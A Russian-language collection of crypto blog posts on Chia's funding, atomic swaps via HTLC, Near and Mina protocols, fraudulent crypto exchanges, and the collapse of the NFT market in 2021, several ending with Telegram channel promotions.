Сама сеть Chia Network более чем удвоила свою капитализацию до 500 миллионов долларов, после привлечения 61 миллиона долларов от инвесторов, среди которых такие компании, как Andreessen Horowitz, Richmond Global Ventures и Breyer Capital. Сам Хоффман назвал финансирование "ракетным топливом" найма и раскрыл планы по IPO и открытое обращение своих акций через планируемое в этом году слияние с компаниями SPAC.

Тем временем, компания планирует развитие своей миссии по достижению институционального принятия своей торговой и платежной системы. "Chia это то, как могла бы выглядеть система Bitcoin, если бы та разрабатывалась с учетом знаний, накопленных за последние 13 лет", заявил в интервью Bloomberg управляющий партнер Richmond Global Ventures Дэвид Фрейзи (David Frazee). Амбиции высоки, но учитывая критику Bitcoin за его воздействие на окружающую среду, вполне возможно появление криптовалюты, которая будет экологически более чистой.


Подписывайтесь на нашTelegram-канал, там мы помогаем новичкам, рассказываем про интересные проекты и ведем блог о инвестициях в криптовалюты.

Подробнее..

Atomic Swaps блокчейн расправил плечи

04.05.2021 10:05:07 | Автор: admin

Зачем идти в обход, когда можно срезать?

Вы, наверное, слышали о Суэцком канале(кажется недавно об этом писали в новостях). До создания искусственного водного пути европейские корабли, доставляющие ткани и специи из Индии, должны были пройти печально известный Кейп-Роут - 40-дневное путешествие, покрывающее более 10 000 морских миль. Открытие канала сократило расстояние более 5000 миль и сократило расстояние до 1012 дней и открыло новую эру морского судоходства. Меньше времени в море, меньше смертей от цинги, меньше пиратов, недоедания и разрушительных штормов. Прогресс.

И вот за окном 2021 год. Мировая капитализация крипто-рынка приближается к 2 триллионам долларов. PayPal запускает платежи в криптовалюте. Линдси Лохан шилит Трон. Рекламы Dogecoin на Super Bowl не случилось, но Илон вместо этого, в буквальном смысле, отправил его ту зе мун. Свершилось. Крипта - это мейнстрим. Но даже сегодня получение определенных криптоактивов может стать своего рода эпическим путешествием.

Сначала вам нужно будет зарегистрироваться на одной из централизованных бирж. Там, вероятней всего, придется пройти утомительную процедуру KYC. Это не только довольно длительный процесс, но это также подразумевает дискомфортно высокий уровень доверия. Помимо необходимости передавать документы, удостоверяющие вашу личность, и другую конфиденциальную информацию (потенциально анонимной) третьей стороне, вам также придется временно предоставить им право полного управления своими крипто-активами. И точно так же, как драгоценный груз кораблей, плывущих по морскому пути из Индии, делал их огромным соблазном для пиратов, так и большая концентрация криптоактивов на биржах делает их привлекательными для хакеров.

Таким образом, использование централизованного обмена может быть медленным и дорогостоящим процессом, требующим передачи ваших денег и документов третьему лицу. Это работает, но не идеально. И на заре новой децентрализованной эпохи, обещающей индивидуальный финансовый суверенитет, такое решение смотрится как довольно устаревший способ ведения дел. Было бы неплохо иметь возможность выбирать по более прямой маршрут, а значит, использовать более быструю и безопасную форму обмена.

Что такое Atomic Swaps?

Существует некоторая неопределенность в отношении термина Atomic Swap, поэтому для этой статьи мы сразу определим его как операцию, в которой задействованы две криптовалюты, каждая из которых имеет свой нативный блокчейн и техническую возможность создавать безопасные операции обмена между пользователями сети, не прибегая к услугам trusted third party и не доверяя друг другу. Например если Zano и Bitcoin имеют поддержку atomic swaps, то пользователи могут безопасно совершать обмен Zano на BTC. Операция называется atomic, потому что подразумевает что вся процедура не может остановиться на полпути, переведя только часть монет, она или происходит полностью и обе стороны получают ожидаемые монеты или же она не происходит совсем и обе стороны остаются при своих монетах. Таких образом ни одна из сторон не может смошенничать ни на каком из этапов сделки.

HTLC

В основе механизма atomic swap лежит так называемый HTLC(Hash-Time Locked Contract). Этот контракт можно условно перевести на человеческий язык таким образом:

Если прошло времени меньше чем Т, то перевести N монет на адрес A при условии предоставления секрета, хеш которого равен H.

Если прошло времени больше чем Т, и за это время секрет не предоставлен, то перевести (вернуть) деньги на адрес B.

Другими словам, выход транзакции, заданный как HTLC, может быть потрачен получателем только, если отправитель сообщит ему секрет, и только в течение определенного времени, зафиксированного в транзакции (например, 24 часа). Если же это не произойдет в указанный период времени, то деньги будут выведены на обратный адрес отправителя.

Тот, кто создает этот контракт, придумывает секрет, но не раскрывает его, а в самом контракте указывают только адреса A, B, хеш H секрета, и период времени, в течение которого контракт может быть открыт с помощью секрета. То есть, если Боб (у которого адрес B) отправляет Алисе (у которой адрес A) такой контракт, то она не сможет открыть этот контракт и перевести себе деньги до тех пор, пока Боб не сообщит ей этот секрет.

Cross-chain Atomic Swap

Теперь, после знакомства с HTLC, опишем процесс осуществления cross-chain atomic swap между сторонами. Представим Алису и Боба. Допустим, у Алисы есть Zano(будем использовать этот проект для примера), а у Боба - BTC, и, разумеется, они хотят трейдить. Алиса и Боб договорились, что хотят поменять оговоренную сумму BTC на оговоренную сумму ZANO. У обоих участников сделки есть кошельки как в сети Bitcoin, так и в сети Zano, и оба договорились о том, что сделка должна быть завершена в течении суток.

Итак, все начинается с того, что Алиса придумывает секрет. Этот секрет будет краеугольным камнем всего процесса, поэтому важно понимать, что секрет есть только у Алисы, она его никому не раскрывает, но считает от него хеш и создает в сети Zano HTLC-транзакцию, адресованную Бобу и залоченную с помощью этого хеша. Боб не сможет воспользоваться выходом этой HTLC-транзакции пока не узнает секрет Алисы. Кроме того, в HTLC-транзакции задано условие, что она действительна только в течении суток, после чего с этой транзакции деньги можно будет вернуть только назад Алисе (и уже без предоставления секрета).

Увидев, что Алиса создала в сети Zano HTLC-транзакцию для Боба, и убедившись, что количество монет в этом контракте соответствует их с Алисой договоренности, Боб создает HTLC-транзакцию в сети Bitcoin, адресованную Алисе и содержащую оговоренное число монет BTC, и, что очень важно, залоченную именно тем же хешем, который Боб увидел в HTLC-транзакции, созданной Алисой.То есть, это хеш секрета Алисы.

Алиса убеждается в том, что количество монет в HTLC-транзакции, созданной Бобом на ее адрес в сети Bitcoin, соответствует их договоренностям, и принимает решение об исполнении сделки. Это решение по сути является тем самым атомарным моментом сделки, до него сделку можно отменить и все останутся при своих монетах (получив refund через определенное количество времени, указанное в HTLC, в нашем случае это 24 часа).

В отличие от Боба, Алиса знает секрет, хешем от которого залочен HTLC-выход транзакции в сети Bitcoin, поэтому она может создать redeem-транзакцию и вывести деньги в свой кошелек. Такая операция и будет той самой атомарной точкой невозврата, после этого сделка будет в техническом смысле необратима.

Алиса делает redeem-транзакцию.

Как только Алиса создала такую транзакцию и отправила ее в сеть Bitcoin, она раскрыла свой секрет поскольку этот секрет явно включается во вход redeem-транзакции для того, чтобы доказать, что она его знает. Этот же секрет является также локером транзакции, адресованной Бобу в сети Zano, поэтому Боб, внимательно следя за ситуацией, видит отправленную Алисой redeem-транзакцию, извлекает из нее секрет Алисы и создает соответствующую redeem-транзакцию в сети Zano:

По завершении последнего этапа Алиса и Боб получают то, о чем они договорились, при этом ни на одном из этапов ни одна сторона не сможет смошенничать. Если же любая из сторон передумала до того, как Алиса создала redeem-транзакцию и раскрыла свой секрет (в случае с Бобом до момента создания им HTLC в сети Bitcoin), то они просто ждут пока пройдет временное и предварительно оговоренное ими окно сделки. Важно иметь в виду, что timelock стороны, которая создает ответный HTLC, те стороны которая на знает секрета, должен быть выбран таким образом, чтобы он закончился раньше, чем timelock стороны, инициирующей операцию HTLC первой. Если это условие не будет соблюдено, то вторая сторона (в нашем случае это Боб) может не успеть создать свою redeem транзакцию, и останется без монет.

Генетическая совместимость проектов

В описанном выше примере оба проекта имеют совершенно разную кодовую базу, и даже разные эллиптические кривые(!). К счастью, HTLC позволяют организовывать atomic swaps даже между такими генетически несовместимыми проектами.

Единственное, что у них должно быть общего, так это поддержка HTLC с одинаковой хеш-функцией. В подавляющем большинстве проектов для этой цели используется классека SHA-256.

Privacy considerations

В случае Bitcoin едва ли можно говорить о прайваси, но нужно прояснить особенности взаимодействия с прайвеси-блокчейном, в котором транзакции по умолчанию являются приватными. Очевидно redeem-транзакции не могут иметь anonymity set - использование mixins не имело бы никакого смысла в любом случае, поскольку всегда можно сопоставить к какому именно HTLC-выходу относится вход через проверки на соответствие хеша секрета. Поэтому связь между транзакцией с HTLC-выходом и redeem-транзакцией довольно однозначна. Кроме того, сопоставить пару транзакций HTLC-to-Redeem в сети Bitcoin для отдельно взятой операции atomic swap, связанной с соответствующей парой транзакцией в сети Zano, довольно легко, Это можно сделать, используя все тот же хеш секрета - в обоих сетях, очевидно, хеш должен быть одинаковым, поскольку для проведения операции в обоих блокчейнах использовался один и тот же секрет.

Практический пример

Для того, чтобы лучше проиллюстрировать работу atomics swaps для двух принципиально разных блокчейн проектов, мы реализовали небольшой пример под nodejs. За основу мы взяли статью и репозиторий, в которых был интересно представлен пример atomic swaps между Bitcoin и BitcoinСash. Мы существенно упростили код, чтобы продемонстрировать основные принципы, тем не менее, если у вас появится желание разобраться с работой HTLC в Bitcoin на более низком уровне, вплоть до оп-кодов, то мы рекомендуем ознакомиться с их статьей.

P2SH

В практическом примере, о котором идет речь, важно понимать концепцию P2SH, используемую на стороне Bitcoin для создания HTLC. В Bitcoin для определения конкретного способа использования выхода транзакции используется так называемый script(далее скрипт), элементарный стековый язык программирования. Причем скрипт, который определяется для конкретного выхода, на самом деле будет являться окончанием скрипта, ну а его начало должен будет предоставить тот, кто тратит этот выход (подробнее с этим можно ознакомиться в этой статье). Однако, кроме непосредственного включения половинки скрипта в выход, есть еще способ отправки на хеш скрипта (P2SH). Это значит, что содержание самого скрипта выхода не раскрывается до момента фактической траты выхода, а в транзакции содержится только указание, что при трате этого выхода должно быть предоставлено окончание скрипта, хеш от которого прописан в выходе, и начало скрипта, которое этот скрипт отпирает. В описываемом примере сети Bitcoin для создания HTLC используется именно такой тип выхода. Поскольку обе стороны договорились об условиях сделки и они знают свои public keys (именно public keys, а не адреса, потому что в отличие от Zano, например, в bitcoin адресом является хеш public key), то обе стороны смогут генерировать одинаковый HTLC скрипт выхода, получив один и тот же script-хеш-адрес(P2SH). Для одной стороны это будет script-хеш-адрес(P2SH), на который она отправит BTC, а для другой стороны это будет script-хеш-адрес(P2SH), который она будет мониторить для того, чтобы детектировать факт создания HTLC и его подтверждения сетью.

Заключение

Хотя в приведенных выше примерах мы использовали Bitcoin и Zano, atomic swaps могут выполняться между любыми цифровыми валютами, которые поддерживают HTLC. Это обеспечивает более безопасный и прямой маршрут между экосистемами Bitcoin, Bitcoin Cash, Decred, Litecoin, Qtum, Monacoin, Zano и тп. И список совместимых проектов постоянно растет.

На данный момент это инструменты низкого уровня, но они закладывают основу для гораздо большей совместимости в будущем. Мы уже предвидим создание платформ с более доступным и удобным интерфейсом, построенных на основе Atomic swaps (например, AtomicDex). Вскоре они станут настоящими децентрализованными альтернативами централизованным биржам. По мере того, как инструменты продолжают развиваться и совершенствоваться, мы можем визуализировать будущее, в котором вы сможете совершать быстрые, недорогие и надежные сделки без рисков, связанных с доверием третьей стороне.

Atomic swaps - это, прежде всего, более легкий доступ. Более легкий доступ означает большую ликвидность, а ликвидность должна быть у любого платежного инструмента.

Atomic swaps. Ликвидность. Прогресс.

PS: Материал составлен в соавторстве с участником нашего комьюнити проекта Zano - OrsonJ, за что ему огромное спасибо!

Подробнее..

Что такое Near Protocol? Полноевведение

14.05.2021 12:21:34 | Автор: admin

Near Protocol это блокчейн с поддержкой смарт-контрактов, который призван стать платформой следующего поколения для DApps с уникальным решением масштабирования.

Сейчас вы узнаете:

  1. Что такое Near Protocol?

  2. Как работает Near Protocol?

  3. Особенности Near

  4. Учетные записи и ключи доступа

  5. Токеномика Near Protocol

  6. Будущее Near

Нажмите на заголовок в оглавлении, чтобы перейти к нужному пункту.

Что такое Near Protocol?

Назад к оглавлению | Пропустить пункт

Near это блокчейн на Proof-of-Stake, который запустил свою основную сеть в 2020 году. Это децентрализованная платформа разработки, предназначенная обеспечить идеальную среду для DApps (децентрализованные приложения), преодолевая некоторые ограничения конкурирующих систем (например, низкая пропускная способность, низкая скорость и плохая кросс-совместимость).

Удобный для разработчиков блокчейн, который включает в себя ряд инноваций для повышении масштабируемости и снижения затрат разработчиков и конечных пользователей. По словам создателей, приложение на Near можно запустить всего за 5 минут.

У Near открытый исходный код, любой желающий может начать вносить свой вклад в его разработку.

Near Protocol привлек почти 50 миллионов долларов в приватном раунде финансирования в течение первых четырех месяцев, еще до того, как блокчейн был построен, и это происходило во время медвежьего рынка. Давайте посмотрим на основателей проекта:

Сегодня команда Near состоит из более чем 50 блестящих умов мира.

Как работает Near Protocol?

Назад к оглавлению | Пропустить пункт

Near использует делегированный Proof-of-Stake (PoS) блокчейн с поддержкой смарт-контрактов. Он использует шардинг для максимальной эффективности, и им управляют держатели его собственного токена NEAR.

Near также взаимодействует с Ethereum через Rainbow Bridge надежный мост, который позволяет передавать активы, такие как токены ERC20 и NFT, между Ethereum и NEAR. В конце концов, можно даже взаимодействовать со смарт-контрактами и DApps по обе стороны, используя Rainbow Bridge.

Что касается архитектуры, она использует механизм шардинга, называемый Nightshade. Вместо того, чтобы создавать несколько крайних парачейнов, как в блокчейне Polkadot, цепочки Near моделируются как единый блокчейн. Проще говоря, каждый блок, созданный на Near, содержит снимки транзакций, происходящих на каждом сегменте другой цепочки.

Каждый сегмент поддерживается собственной выделенной сетью валидаторов, и все эти сегменты работают параллельно. Это означает, что Near может обрабатывать около 100 000 транзакций в секунду.

Что касается производства блоков, то они используют механизм, который называется Doomslug. Несмотря на свое хардкор-название, Doomslug довольно прост и предполагает, что разные валидаторы по очереди производят блоки в соответствии с тем, сколько токенов Near они поставили.

Что в нём такого особенного?

Назад к оглавлению | Пропустить пункт

Near невероятно быстр. Он способен обрабатывать порядка 100 000 транзакций в секунду (tps) и почти мгновенно достигает завершения транзакции благодаря 1-секундной созданию блока. По словам Near, их стоимость транзакций может быть в 10 000 раз ниже, чем на Ethereum.

Near также предназначен для тех, кто практически ничего не знает о блокчейне. У Near удобная система учетных записей и ключей доступа к ним. Обычные пользователи смогут получить доступ к DApps, построенным на Near, используя привычный им процесс регистрации, пользователи могут даже не догадываться, что работают с блокчейном. Это поможет разработчикам охватить более широкую аудиторию, и уменьшить проблемы для тех, кто уже привык использовать DApps.

Near предоставляет разработчикам ряд модульных компонентов, которые помогут им быстро запускать свои проекты. К ним относятся примеры реализации невзаимозаменяемых токенов (NFT), смарт-контрактов и полноценных DApps. Полный список примеров и их код можно найти на официальном GitHub.

Учетные записи и ключи доступа

Назад к оглавлению | Пропустить пункт

Отдельное внимание уделяем аккаунтам на Near. У них интересная и уникальная система. Учетные записи могут иметь несколько ключей доступа и используют читаемые адреса кошельков (например, "name.near"), вместо хэша публичного ключа (как в Ethereum или Bitcoin).

Мы решили вынести всю информацию о учетных записях в отдельную статью. О том, как создать свой кошелек на Near, ключах доступа и аккаунтах, читайте в нашем удобном руководстве.

Токеномика Near Protocol

Назад к оглавлению | Пропустить пункт

$NEAR () это собственная криптовалюта, используемая в Near Protocol, как источник жизненной силы сети, она имеет несколько различных вариантов использования. Будучи родной валютой, она обеспечивает безопасность сети, играет роль расчетной единицы и средства обмена для собственных ресурсов и сторонних приложений, а в долгосрочной перспективе стремится стать средством сбережения, используемым отдельными лицами, а также контрактами и DeFi приложениями (децентрализованные финансы).

Экономика Near предназначена для того, чтобы сделать сеть безопасной, но недорогой в использовании, даже при ее масштабировании. Сейчас узнаем как это работает.

Near это сеть на Proof of Stake, а это значит, что каждый блок сети утверждается только тогда, когда достаточное количество валидаторов соглашается с тем, что каждая из транзакций в блоке была выполнена правильно. Валидаторы запускают оборудование, которое фактически управляет сетью, но каждый из них поддерживается Стейкинг-пулом. Держатели токенов со всей экосистемы могут делегировать свои токены любому из этих пулов. Когда валидаторы голосуют за утверждение блоков, их голоса взвешиваются в зависимости от того, сколько токенов у них есть в Стейкинг-пулах.

Комиссии сети

Приложения и учетные записи, развернутые в сети Near, должны платить два вида сборов:

Поскольку количество места в каждом блоке ограничено, люди готовы платить за добавления своих транзакций в блок. Если блоки становятся перегруженными, а комиссии слишком высоки, сеть будет динамически наращивать пропускную способность, увеличивая количество шардов, обеспечивая относительно стабильную цену транзакций.

Награды Near

За предоставление услуг по эксплуатации сети, валидаторы получают вознаграждение в виде токенов за каждый блок. Сумма вознаграждения пропорциональна сумме застейканых токенов, которую валидатор имеет в своем пуле. Они могут выбирать, какую долю этих токенов сохранить, а какую часть передать делегаторам. Первоначально сеть создает 5% новых токенов каждый год, из которых 90% идут на вознаграждения валидаторам, а 10% выделяются в казну протокола для поддержания развития.

Комиссии, которые выплачиваются за транзакции в каждом блоке, делятся на 2 части:

Информация о циркулирующем предложении $NEAR, общем предложении и блокировках, подробно представлена у официального блога Near в посте о поставках и распределении токенов вместе с подробными диаграммами, таблицами и методологическими примечаниями.

Near Protocol: Будущее

Назад к оглавлению

Near уже выпустили свой долгожданный мост с Ethereum, известный как "Rainbow Bridge". Это позволило пользователям перенаправлять свои токены с Ethereum на Near, что является важным шагом в направлении Near сделать платформу максимально доступной.

В настоящее время Near работает над внедрением поддержки виртуальной машины Ethereum (EVM) программного стека, который Ethereum использует для запуска DApp. После завершения, разработчики смогут повторно развернуть свои приложения Ethereum на Near практически без каких-либо изменений. Это сделает экосистему Near еще более обширной, что и привлечет большое количество новых пользователей.

А благодаря масштабируемости и умной токеномики, даже при большом количестве пользователей в сети, комиссии и скорость транзакций будут держаться примерно на том же уровне.


В своём Telegram-канале я помогаю новичкам, рассказываю о других интересных проектах и веду личный блог о инвестициях в криптовалюты.

Подробнее..

Mina Protocol особенности самого легкого блокчейна

19.05.2021 20:18:09 | Автор: admin

Mina Protocol это первый в мире криптовалютный протокол, сжатый до размера нескольких твитов, он всегда составляет 22кб. Революционная блокчейн-архитектураMinaиспользуетдоказательство с нулевым разглашением, что решает множество проблем нынешних блокчейнов (конфиденциальность данных, перегрузка сети, транзакционные издержки, простота использования и простота интеграции в традиционные сервисы).

Почему у Mina такой маленький блокчейн?

Доказательство с нулевым разглашением это прорывная технология, позволяющая использовать протоколMina. Это крошечные криптографические сертификаты, которые проверяют состояние сети, не раскрывая содержимого цепочки.

Вот простая метафора того, как Mina держит свою цепочку такой маленькой:

Геолог, идущий по лесу, натыкается на ряд тяжелых валунов. (Блоки в цепочке). Он хочет осмотреть их мраморный интерьер. (Проверить транзакции).

Он вскрывает их, изучает и сообщает о своих находках. Коллеги со всего мира (другие валидаторы) хотят увидеть валуны, но не могут позволить себе стоимость поездки. (Стоимость запуска полноценного проверяющего узла).

Его решение:он фотографирует каждый валун. (Фотографии являются доказательствами с нулевым разглашением, они жеzk-SNARKs снимок каждого блока).

Теперь ему не нужны валуны фотографии не хуже.

Minaпозволяет полным узлам отбрасывать блоки после их проверки, заменяя ихzk-SNARKs, снимком каждого блока.

Цепочка снимков это огромное улучшение по сравнению с цепочкой блоков, но проблема не решена: цепочка все равно будет расти, и мы хотим, чтобы она была постоянной.

У геолога есть новое решение.Он делает фото первого валуна затем делает фото второго валуна вместе с фото первого валуна.

Теперь ему не нужна первая фотография, ведь она уже есть на второй фотографии.

Он продолжает делать фото каждого валуна рядом с самой последней фотографией и посылает своим коллегам последнюю.

zk-SNARKs (Zero Knowledge Successive Non-Interactive Arguments of Knowledge)подобны двумерным фотографиям 3D-объектов. Точнее: это микроскопически маленькие криптографические свидетельства чего-то гораздо большего.

Каждый блок привязывается к снимку самого себя. Затем каждый снимок привязывается к изображению всей цепочки.

Именно такMinaсжимает цепочку размером в сотни гигабайт до22-килобайтный zk-SNARK.

Революция в децентрализованных протоколах

Bitcoinпоказал, что люди хотят деньги,устойчивые к цензуре.

Ethereumпоказал, что людям нужныдецентрализованные финансовые приложения.

Стейблкоиныпоказали, что люди хотятцифровые доллары.

Но

Bitcoinне смог масштабироваться, не жертвуя аспектами сопротивления цензуре.

Ethereumне может интегрировать данные реальных приложений без нарушения конфиденциальности пользователей.

Стейблкоиныне могут быть интегрированы в традиционные приложения без чрезмерной сложности разработки.

Mina решает все эти проблемы сразу

Блокчейн фиксированного размера обеспечиваетMinaбеспрецедентную устойчивость к цензуре, обеспечивая полностьюустойчивые к цензуре деньги.

zk-SNARKпредоставляют приложенияMina, которые вычисляют логику и данные вне сети для обеспечения конфиденциальности и масштабируемости, а затем проверяют их целостность в сети.

ПротоколMinaдает разработчикамлегкий доступ к цифровым долларам любой, кто используетMina, может интегрировать платежи по стейблкоинам в свои приложения с помощью всего пары строк кода.

Давайте рассмотрим каждое из этих трех утверждений немного подробнее:

Деньги, устойчивые к цензуре

Минимальный блокчейн позволяет каждому пользователю в сети проверять состояние реестра, гарантируя, что критические аспекты сопротивления цензурене смогут проскользнуть.

Mina это первое полностью устойчивое к цензуре средство обмена, созданное для повседневного использования и интеграции в традиционные сервисы.

Следующее поколение приложений

Вычисления на Ethereum происходят по цепочке, что привело к целому ряду проблем:перегрузка сети, крайне высокие транзакционные сборы, прозрачно выставленные пользовательские данные и постоянно растущие затраты на вычисления всей цепочки с нуля, когда разработчик хочет развернутьDApp.

Minaрешает все эти проблемы с помощью совершенно новой категории децентрализованных приложений под названиемSnapps.

Snapps это приложения на базеSNARK, отличающиеся отDAppsдвумя характеристиками:

Масштабируемость:Snappsпроверяют выполнения вычислений, позволяя пропускной способности и интенсивным вычислениям процессора перемещаться вне цепочки.

Конфиденциальность:Snappsпроверяют целостность данных, не раскрывая сами данные.

Доступные всем цифровые доллары

Minaлегко интегрируетстейблкоиныв традиционные веб-приложения и мобильные приложения в отличие от других блокчейнов, которые требуют дорогостоящего и сложного промежуточного программного обеспечения.

Разработчики-новички могут мгновенно интегрировать цифровые доллары (или любой другой актив, выпущенный на Mina) в продукты с помощью всего лишь пары строк кодаJavaScript, который Mina планирует поддерживать в качестве языка разработки дляSnapps.

Что дает эта комбинация особенностей?

Возможность совершатьнеконтролируемые платежичерез традиционные веб-приложения прямо из своего браузера или смартфона.

Возможность доказать, что ваша зарплата и кредитный рейтинг достаточно высоки для получения кредита,без раскрытиясвоего дохода и истории платежей.

Возможность получить мгновенное доказательство того, что фотография подлинная,а не дипфейк.

Системы голосования, гденикто не может видетьза кого вы голосовали, нокаждый может проверитьрезультаты.

Возможность предоставлять своиидентификационные данныеодному провайдеру аутентификации не требующего доверия, а не сотням компаний требующие доверия к ним.

Представьте, как молодые предприниматели на всех континентах, получат возможность создавать криптографические продукты, которые напрямую интегрируются в традиционные финансы, необремененные искусственно завышенными расходами или сложностью,без необходимости спрашивать разрешенияу взрослых контролеров.

Snappsвключает все эти и многие другие сценарии.

Roadmap Minaсодержит поддержку моста кEthereumи простое преобразованиеDAppsвSnapps.

ПредставьтеDeFiплатформы, децентрализованные биржи и открытые финансовые площадки, работающие наMinaс более высокой пропускной способностью, за небольшую часть затрат для разработчика и конечного пользователя, с включенной по умолчанию конфиденциальностью данных пользователей.

Таково видениеMinaо будущем децентрализованных технологий.
Более подробную информацию о протоколе можно найти насайте Mina.


В моём Telegram-канале я помогаю новичкам в криптомире, рассказываю о других интересных проектах и веду личный блог о инвестициях в криптовалюты.

Подробнее..

Сколько из 400 действующих криптобирж мошенники?

22.05.2021 14:05:19 | Автор: admin

Любая биржа при пристальном взгляде оказывается сомнительной, считают эксперты.

В 2021 году крипторынок качественно расширился в сравнении с прошлыми периодами рост курса биткоина до уровня в десятки тысяч долларов за токен заставил интересоваться криптовалютной экзотикой всякого, кто хочет заработать быстрые деньги. Однако, предупреждают эксперты, вероятность разбогатеть здесь даже хуже, чем на бирже: колебания цены акций в сотни процентов на бирже это ЧП, о котором помнят годами. Изменение стоимости криптовалют в таких же пределах рутина крипторынка.

Построить достоверную стратегию инвестиций на рынке криптовалют хотя бы на два-три года невозможно, отмечают специалисты. Единственным, кто гарантированно выигрывает в результате криптовалютных игр, это казино. То есть, биржа или площадка, где заключаются сделки по взаимному обмену токенов, а также их конверсия в реальные деньги и обратно.

В конце 2020 года на планете действовало более 400 криптобирж, оперировавших разными объемами транзакций. Мелкие биржи довольствуются миллионами, крупные такие как HitBTC или Binance оперируют миллиардами реальных долларов. При этом ни одна из бирж не является чем-то реальным. Как и криптовалюты, биржи держатся исключительно на доверии (или жадности) своих клиентов, а в случае проблем предъявить претензии бывает просто некому.

Чем больше людей хочет заработать на криптовалютах, тем больше появляется предложений отдать свои деньги за очередной перспективный токен или уже известную крипту, в надежде на выгодное понимание её дальнейшего курсового поведения.

Главное, о чем забывают желающие быстро озолотиться ваша валюта, реальная и крипто, после попадания на площадку уже не совсем ваша.

Одинаково воздушные замки

Одним из способов мошенников по получению денег граждан остается подделка под известный бренд или финансовый инструмент. В случае бирж криптовалют ситуация намного проще нет никаких объективных механизмов определить, с какой вероятностью на какой из них ваши активы исчезнут, какая биржа является честной, а какая мошенником. Наиболее пессимистичные игроки считают, что любая криптобиржа лопнет вопрос только во времени, когда это случится.

Инструменты, посредством которых исчезнут приобретенные вами за реальные деньги токены, могут быть разными. Это может быть инвестиция в новую, перспективную валюту - листинг новых токенов может провести любой желающий. Это могут быть хакерские атаки, хотя с усилением систем безопасности данный фактор становится слабее день ото дня. В первую очередь, вы можете потерять свои деньги трудами самой биржи, которой их доверили. Число сообщений о таких инцидентах растет в прогрессии с каждым годом.

В 2017 году власти Южной Кореи разоблачили одну из самых известных поддельных криптовалютных бирж. BitKRX был назван так, чтобы выглядеть как криптовалютное подразделение законной и крупнейшей финансовой торговой платформы в стране, Korea Exchange (KRX).

Основываясь на доброй воле общественности по отношению к KRX, BitKRX смогла привлечь инвесторов, которые считали, что BitKRX управляется KRX. Но когда клиенты, которые думали, что купили биткойн, попытались получить доступ к своим средствам, они обнаружили, что их деньги исчезли.

Власти также арестовали двух человек, стоявших за Komid, еще одной южнокорейской биржей, которые с самого начала обманывали инвесторов. Их схема предполагала заманивание клиентов в криптовалюты и распространение ложной информации о списках токенов. После этого третья по величине криптовалютная биржа в Южной Корее, Coinbit, была захвачена полицией, поскольку, по сообщениям, 99% объема ее транзакций было подделано для обмана клиентов.

В другой крипто-афере, обнаруженной совместным расследованием в Нидерландах и Великобритании, шесть человек были арестованы за создание поддельной онлайн-криптовалютной биржи, которая обманула более 4000 жертв в 12 странах из примерно 27 миллионов долларов США в криптовалюте.

В 2021 году сообщения о мошеннических биржах стали постоянным инфоповодом.

Один крупный мошенник в месяц

С ростом цены криптовалют в традиционных деньгах растет число желающих заработать в этой сфере, соответственно увеличивается и популярность такого направления у криптомошенников. Как считает Лаборатория Касперского, в 2021 году мошенники смогут обмануть клиентов вдвое больше, чем в прошлом году на сумму как минимум в $4,5 млрд.

Первое полугодие 2021 года ещё не закончилось, но даже по сведениям СМИ можно сделать вывод: началось повальное закрытие бирж криптовалют. Самым простым способом для криптобиржи закрыться и оставить у себя деньги клиентов остается заявление о хакерской атаке. Проверить это невозможно, как и оценить реальный ущерб в случае, если атака действительно имела место. Направлять свои претензии клиентам тоже в ряде случаев оказывается некому большинство бирж оказываются в лучшем случае офшорными компаниями.

В январе 2021 года российская криптобиржа Livecoin объявила о закрытии после кибератаки. Компания выпустила дежурное сообщение, в котором сообщила о катастрофических потерях, пообещав вернуть клиентам максимум их средств исходя из оставшихся у биржи активов. Возмещение обещалось всем, кто подаст заявку в сжатые сроки, а также предоставит значительный объем персональных данных.

Интересно, что перед сообщениями о хакерской атаке на бирже были без предупреждения заблокированы кошельки пользователей их лишили возможности вывода своих денег. После чего на площадке началась дикая скачка курсов и непонятная активность, итогом которой стало сообщение о закрытии биржи.

По той же схеме развивалась история с биржей HitBTC. Она ещё работает, но начиная с февраля пользователи сообщают о тех же симптомах кошельки блокируются на вывод, происходит необъяснимая динамика курсов криптовалют и отсутствие информации от администрации биржи.

В апреле закрылись сразу две региональных биржи в том числе вторая по величине криптобиржа Турции Thodex. Механизм известен: блокировка кошельков, сообщение о приостановке деятельности биржи на неделю для устранения аномальных колебаний на счетах, но позже сайт биржи перестал работать. За это время основатель биржи Фарук Фатих Озер успел удалить страницы в социальных сетях и сбежать в Албанию с двумя миллиардами долларов клиентов.

В данный момент власти США объявили о проверке крупнейшей криптобиржи Binance. Не исключено, что за этим сообщением последуют другие сообщения о закрытии торговых площадок.

Подробнее..

Перевод Рынок NFT рухнул, о нет

03.06.2021 18:21:18 | Автор: admin
RIPRIP

Кто-нибудь помнит март 2021 года, когда некоторые техногики и художники были убеждены, что NFT (невзаимозаменяемые токены) изменят мир? Ну привет, сейчас июнь 2021 года, и этот пузырь лопнул.

Несмотря на весьма ясные факты, указывающие, что все это было "в лучшем случае мошенничеством, а в худшем надвигающейся катастрофой", некоторые люди легко повелись на обещание заработать на чем-то деньги, и, в определенное время, буквально сотни миллионов долларов по всему миру обменивались на никому не принадлежащие видео или сертификаты подлинности для файлов JPG и GIF.

Однако этот золотой век, определенно, позади. Весьма исчерпывающее исследование компании "Protos" демонстрирует следующие цифры:

  • Общий рынок NFT с момента своего пика пережил "почти 90-процентный коллапс".

  • Его пик, пришедшийся на 3 мая, всего за один день принес 100 миллионов долларов в продажах коллекционируемых крипто-предметов. За последнюю неделю их продажи составили всего 19,4 миллиона долларов.

  • С продажами NFT-искусства все еще хуже, упав с нескольких миллионов за один день, сегодня они приносят всего лишь около 3 миллионов долларов по всему миру за неделю, включая как первичные, так и вторичные продажи.

  • Количество активных NFT-кошельков, используемых для покупки токенов, сократилось с более чем 12 000 до 3900.

Вот как выглядит рынок крипто-искусства по состоянию на эту неделю:

Protoss / Nonfungible.comProtoss / Nonfungible.com

Конечно, это не означает, что какая-либо из компаний или крупных фигур, участвующих в продажах NFT, исчезнет. Существует весьма существенная вероятность, что те, кто больше всего предан идее, те, кто больше всего верит, что это действительно будущее, пробудут в этом еще долгое время. Например, команда, стоящая за NBA Top Shots, уже пережила один крах NFT.

Как бы то ни было, пузырь лопнул, и это, вероятно, положит конец глубоко сомнительной золотой лихорадке, которая привела к тому, что здравомыслящие художники и поклонники теряли голову в погоне за быстрым заработком.

Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
